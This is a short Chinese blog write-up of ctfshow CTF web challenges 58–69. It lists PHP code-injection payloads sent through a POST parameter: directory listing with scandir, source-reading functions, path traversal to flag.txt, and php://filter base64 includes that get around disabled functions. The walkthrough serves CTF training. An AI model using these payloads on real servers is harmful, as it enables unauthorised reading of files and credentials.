RCE Post篇

ctfshow web58&web59&web60&web61&web62

首先应该查看phpinfo看看禁用了哪些函数

c=print_r(scandir(dirname('FILE')));

可以查看文件有哪些 可以查出存在flag.php

但是这里输入发现phpinfo被禁用了

可以使用

file_get_contents("flag.php")

payload:

c=echo file_get_contents("flag.php");

也可以使用

c=show_source('flag.php');

c=highlight_file("flag.php");

web59 禁用了file_get_contents 函数 但下边两个可以使用

补充

这里还可以使用php伪协议进行绕过

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66&web67   

c=print_r(scandir("/"));

c=var_dump(scandir('/'));

查看根目录 先用scandir列根目录内容,用print_r回显。

print_r -> var_dump

这里可以发现flag并不在当前目录下 我们查看根目录 查找到一个flag.txt 的文件

使用../依次查找

payload: c=highlight_file("../../../../flag.txt");

四次递归后可以找到flag

 

web68

禁用了highlight_file

首先查找根目录 然后利用include php伪协议构造payload

c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";

 

web69
打开发现 var_dump & print_r 函数都被禁用

使用一个类似函数 var_export

继续使用上一关的payload

 

posted @ 2024-03-01 15:47  Heck1ng  阅读(24)  评论(0)    收藏  举报